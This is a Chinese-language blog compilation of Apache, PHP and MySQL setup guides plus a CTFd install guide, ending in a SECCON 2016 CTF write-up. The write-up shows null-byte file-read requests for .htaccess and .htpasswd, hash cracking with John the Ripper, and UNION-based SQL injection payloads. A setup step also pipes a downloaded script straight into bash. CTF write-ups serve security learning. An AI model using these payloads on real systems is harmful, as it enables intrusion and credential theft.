Apache .htaccess 沒有效果

我們知道在 Apache 中可以使用 .htaccess 來針對當下目錄做相關設定, 但時常發生 .htaccess 無效的狀況, 這邊分享一下一些常見的原因與排除方法

沒有複寫權限

Apache 根目錄預設是禁止複寫設定的, 可以透過編輯 httpd.conf 當中的設定開啟複寫功能

編輯 httpd.conf

sudo vim /etc/apache/httpd.conf

找到相關目錄設定(這邊以內建路徑為例)

<Directory "/Library/WebServer/Documents">
    Options FollowSymLinks Multiviews
    MultiviewsMatch Any

        AllowOverride None

        Require all granted
</Directory>

將 AllowOverride 修改為 All

<Directory "/Library/WebServer/Documents">
    Options FollowSymLinks Multiviews
    MultiviewsMatch Any

        AllowOverride All

        Require all granted
</Directory>

重新啟動 Apache 即可

檔案名稱錯誤

Apache 可以修改 .htaccess 的名稱, 可能因為某些原因名稱被修改了
可以尋找設定檔中的參數 AccessFileName 來確認正確名稱

模組無效

很多時候其實 .htaccess 有生效, 只是是因為 .htaccess 中有進行模組是否存在的相關檢查, 以至於我們以為沒有生效

.htaccess 可能有類似的內容

<IfModule mod_rewrite.c>
    .......
</IfModule>

上述的 .htaccess 會檢查 Apache 是否有 rewrite 這個模組, 若有才執行, 這種狀況變成要啟動該模組才會正常運行

編輯 httpd.conf, 找到下面的內容並將前方的 # 移除

#LoadModule rewrite_module libexec/apache2/mod_rewrite.so

將 MAC 內建的 PHP 5.6 升級到 PHP 7

在 MAC 上進行開發時使用的是 MAC 內建 PHP 5.6, 但 PHP 7 實在是很好用, 決定把 MAC 的 PHP 5.6 升級成 PHP 7, Mac 上要升級到 PHP 7非常簡單, 國外已經有人提供編譯好的版本與安裝腳本, 使用起來非常容易

相關資料

官方網站 php-macosx

安裝 PHP 7

選擇一個想要安裝的 PHP 版本, 目前支援 PHP 7.0 與 PHP 7.1

選擇 PHP 7.0

curl -s http://php-osx.liip.ch/install.sh | bash -s 7.0

選擇 PHP 7.1

curl -s http://php-osx.liip.ch/install.sh | bash -s 7.1

測試結果

接著寫入一個 phpinfo

<?php phpinfo();

看到下面這個畫面就代表我們成功升級為 PHP 7 了!

調整 Apache 設定

由於 MAC 預設使用 PHP 5, MAC 內建的 Apache 的 PHP 解釋器預設是連結到 libphp5.so, 當安裝新的 PHP 7 之後會產生衝突, 因此我們必須關閉舊版的模組, Apache 才能正常運作

關閉 PHP 5 模組

編輯 httpd.conf

sudo vim /etc/apache2/httpd.conf

找到原先的 libphp5.so 模組

LoadModule php5_module libexec/apache2/libphp5.so

在前面加上 # 將其註解

#LoadModule php5_module libexec/apache2/libphp5.so

重新啟動 Apache

sudo apachectl restart

不用懶人包在 MAC 上安裝 Apache, PHP, MySQL

當我們需要在 Mac 下進行網站開發時, 時常會用到 Apache, PHP, MySQL (AMP) 組合, 在 Windows 下常見的懶人包有 XAMPP, Appserv…等, 雖然 Mac 也有懶人包像是 MAMP, 但實際上 MAC 已經內建了 Apache 與 PHP , 並不需要用到懶人包, 我們只需要設定一下就可以啟動他們.

提醒

由於許多操作涉及管理員權限, 因此指令都有加上 sudo, 過程中如有詢問密碼若無特別說明則為您的 mac 使用者密碼

啟動 Apache

啟動內建的 Apache

sudo apachectl start

當我們啟動 Apache 後, 便可以訪問一下 http://127.0.0.1 檢查一下是否有正常運作

如果畫面上出現 It Works 就代表我們成功啟動 Apache 了!

整合 PHP

由於 Mac 已經內建 PHP 模組, 我們只要在 Apache 中將他啟用就可以了

使用編輯器編輯 Apache 設定檔

/etc/apache/httpd.conf

找到下面這行將前面的 # 刪除

#LoadModule php5_module libexec/apache2/libphp5.so

重新啟動 Apache

sudo apachectl restart

步驟做完了, 當然要驗證一下 PHP 是否有如期運作, 透過下面指令建立一個測試用的 php 檔案

echo "<?php phpinfo();" | sudo tee /Library/WebServer/Documents/info.php

接著我們就可以瀏覽 http://127.0.0.1/info.php 檢查一下結果

如果出現如上圖的畫面就代表 PHP 已經正常啟動了!(PHP Info 可能會因為版本不同而有些微差異)

安裝 MySQL

由於 Mac 並沒有內建 MySQL, 因此我們需要自己從官方網站下載來安裝
https://dev.mysql.com/downloads/mysql/

使用 DMG 封裝的版本進行安裝

點選下載後會出現要你登入的頁面, 但其實可以直接點選下面的 No thanks, just start my download. 直接進行下載

安裝過程的最後一步會跳出一個臨時密碼的視窗, 我們要記住這個密碼, 後續設定會用到

接著打開 Mac 的系統設定, 左下角會多出一個 MySQL 的選項, 點開 MySQL 進行設定

剛安裝完成 MySQL 並不會啟動, 我們需要手動點選 Start MySQL Server(爾後電腦重開會自動啟動)

當狀態轉變為 running 就代表啟動成功

啟動 Mysql 後, 接著要修改 root 密碼

/usr/local/mysql/bin/mysqladmin -uroot -p password '新的密碼'

指令執行期間會提示輸入 root 密碼, 這時候要輸入的密碼是安裝完成後出現的那組臨時密碼

這樣 Apache + PHP + MySQL (AMP) 的開發環境就建立完成啦!

工作目錄權限調整

Mac 的 Apache 預設工作目錄為

/Library/WebServer/Documents/

由於預設的擁有者是 root, 這會導致我們無法直接寫入檔案, 可以透過以下指令將所有權變成你的

sudo chown -R 你的mac使用者 /Library/WebServer/Documents/

在 Debian 8 (Jessie) 上安裝 Apache + PHP 7

環境

Debian 8 (Jessie) 請注意OS版本, 本文針對 Debian 8 做說明
Apache 2.4
PHP 7.0

加入 dotdeb 資源

新增套件來源

新增 dotdeb.org 資源庫, 此為 PHP7 的套件來源

echo "deb http://mirrors.teraren.com/dotdeb/ stable all" | sudo tee --append /etc/apt/sources.list
echo "deb-src http://mirrors.teraren.com/dotdeb/ stable all" | sudo tee --append /etc/apt/sources.list

由於我的主機在日本, 因此我選擇日本的鏡像點, 你也可以從 https://www.dotdeb.org/mirrors/ 尋找比較適合的鏡像點

加入 dotdeb.org 的 GPG Key

新的套件來源都必須加入 GPG Key 來確保完整性, 我們可以透過下列指令匯入 dotdeb 的 GPG Key

wget -qO - https://www.dotdeb.org/dotdeb.gpg | sudo apt-key add -

更新主機套件資訊以及升級過期套件

sudo apt-get update && sudo apt-get upgrade -y

安裝 Apache + PHP 7

安裝 Apache

sudo apt-get install apache2 -y

安裝 PHP 7

sudo apt-get install php7.0 php7.0-common -y

安裝 PHP 7 常用函數庫

我們可以透過 apt-cache 列出所有可以安裝的 php7.0 函數庫

apt-cache search php7.0

這邊我就只安裝常用的套件, 各位可以依照需求自行補充安裝

sudo apt-get install php7.0-zip php7.0-mysql php7.0-mcrypt php7.0-mbstring php7.0-json php7.0-imagick php7.0-gmp php7.0-curl php7.0-dom php7.0-gd -y

連接 Apache 與 PHP 7

sudo apt-get install libapache2-mod-php7.0 -y && sudo service apache2 restart

測試結果

在 Web 目錄中建立一個 test.php 來確認是否能夠正常執行 php

echo "<?php phpinfo();" | sudo tee /var/www/html/test.php

打開瀏覽器 前往 http://[你的IP]/test.php

若出現以上面的畫面就代表 Apache 與 PHP 7 成功運作

使用 CTFd 架設 CTF 平台 (Apache + mod_wsgi + MySQL)

這陣子因為課程需要建立一個 CTF 平台, 最後決議使用 CTFd 來架設這次的CTF計分板, 安裝的過程中踩了不少的地雷, 又因為懶得裝 Nginx 改採 Apache + mod_wsgi 結果冒出了更多問題, 真的是人不作死就不會死.

本篇文章假定各位已經裝好 Apache 與 MySQL.

關於 CTFd

CTFd 是 isislab 推出的 open source jeopardy style CTF platform, 使用上非常容易上手, 運行要求十分輕量且容易客製化.
DEMO: CTFd.io

環境資訊

Python 2.7
Apache 2.4
Debian 8

1. 環境準備

sudo apt-get update
sudo apt-get install build-essential libffi-dev git libapache2-mod-wsgi python-pip python-dev
a2enmod mod_wsgi

2. 取的最新版 CTFd

git clone https://github.com/isislab/CTFd.git
cd CTFd

3. 安裝相依

pip install -r requirements.txt
pip install -U sqlalchemy

4. 設定啟動腳本

在 CTFd 下建立 apache.py, 讓 Apache 使用這個 py 來啟動服務

import sys
sys.path.insert(0, '/CTFd') # /CTFd 要改成你的 CTFd 主目錄的路徑, 範例是放在 /CTFd

from CTFd import create_app
application = create_app()

5. 設定 Apache

DocumentRoot /CTFd # CTFd 所在目錄
WSGIDaemonProcess CTFd user=www-data group=www-data threads=5 # user/group 決定 Apache 用哪個帳號運行這支程式
WSGIScriptAlias / /CTFd/apache.py # 前面步驟設定的啟動腳本
 <Directory /CTFd>
    WSGIProcessGroup CTFd
    WSGIApplicationGroup %{GLOBAL}
    Order allow,deny
    Allow from all
    Require all granted  # Apache 2.4 預設禁止目錄在 /var/www 外, 這行可以解除這項限制
</Directory>

6. 設定資料庫連線(Mysql)

建立資料庫的時候編碼記得選擇 utf8mb4_bin (若選擇general將會導致計分板無法正確取得題目類型), 這樣就可以讓 CTFd 支援 Emoji 和中文

編輯 CTFd/CTFd/config.py

SQLALCHEMY_DATABASE_URI = "mysql://帳號:密碼@主機位置/資料庫名稱?charset=utf8mb4"

這邊無需導入資料表, 在網站第一次啟動的時候程式會自動建立必要資料表以及產生Admin

7. 重新啟動 Apache

systemctl restart apache2

備註

由於 CTFd 有檔案上傳與Log, 要記得將 CTFd 目錄的擁有者設定成 Apache 使用的帳號, 不然CTFd不會正常運作

SECCON 2016 Writeup – [Web] uncomfortable-web

題目

題目給我們一個介面, 我們必須透過此介面執行程式來訪問位於內網的目標網站

過程

題目提供了簡單的範例程式, 用 curl 取得內網內容

#!/bin/sh
curl -s http://127.0.0.1:81/

從 curl 回傳結果得到了目錄結構資料

<h1>Index of /</h1>
<table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="authed/">authed/</a></td><td align="right">28-Nov-2016 10:51  </td><td align="right">  - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="select.cgi">select.cgi</a></td><td align="right">28-Nov-2016 10:08  </td><td align="right">612 </td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>

目錄中有一個受保護的目錄 authed, 以及一個 select.cgi
在訪問 select.cgi 後, 發現 select.cgi 接受一個參數 txt, 值有 a,b 兩種

select.cgi?txt=a

select.cgi?txt=b

從結果可以知道 select.cgi 會去開位於 authed 內的檔案

Apache 的 HTTP Basic Authentication 是由 .htaccess 設定的

因此請求 .htaccess 檔案, 看看帳號密碼存在哪裡

select.cgi?txt=authed/.htaccess%00

AuthUserFile /var/www/html-inner/authed/.htpasswd
AuthGroupFile /dev/null
AuthName "SECCON 2016"
AuthType Basic
Require user keigo

從檔案中可以得知帳號密碼位於 .htpasswd 內

select.cgi?txt=.htpasswd%00

keigo:LdnoMJCeVy.SE

由於 .htpasswd 存放的是已經 hash 過的結果, 我們可以使用 John The Ripper(JTR) 去爆破出原始內容

john .htpasswd --show

keigo:test

在成功取得 authed 的內容後, 發現有一個 sqlinj/ 目錄

在這個目錄內有 100個 cgi, 隨便打開一個

<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>

從 HTML 內可以知道程式可接受 no 參數, 於是寫一個程式去測試所有cgi

for i in $(seq 1 100);
do
    echo ${i}
    curl -s -u keigo:test "http://127.0.0.1:81/authed/sqlinj/${i}.cgi?no=4822237842%27+or+1--"
done

從結果中發現 72.cgi 是唯一可以被注入的, 於是便透過 sqlite_master 取得資料表結構(SQLite)

curl -s -u keigo:test "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=4822237842%27+union+select+1,(select+group_concat(sql)+FROM+sqlite_master),3--"

看樣子 flag 應該是放在 f1ags 的 f1ag

CREATE TABLE books (isbn10,isbn13,date),CREATE TABLE f1ags (f1ag)<br>
curl -s -u keigo:test "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=%27+union+select+1,(select+f1ag+FROM+f1ags),3--"

成功得到 flag

ISBN-10: 1
ISBN-13: SECCON{I want to eventually make a CGC web edition... someday...}
PUBLISH: 3

FLAG

SECCON{I want to eventually make a CGC web edition… someday…}

後記

真的超不舒適的題目
因為過程要一直改檔案後上傳, 所以寫了一個小 script 去上傳 code

import time, requests, StringIO
import lxml.html
target = "http://uncomfortableweb.pwn.seccon.jp/"
command = """\
#!/bin/sh
#curl -s http://127.0.0.1:81/select.cgi?txt=authed/.htaccess%00
"""
resp = requests.post(target, files={"file": StringIO.StringIO(command)}, data={}).text
print lxml.html.fromstring(resp).xpath("//pre/text()")[0]

稍微舒服了一點.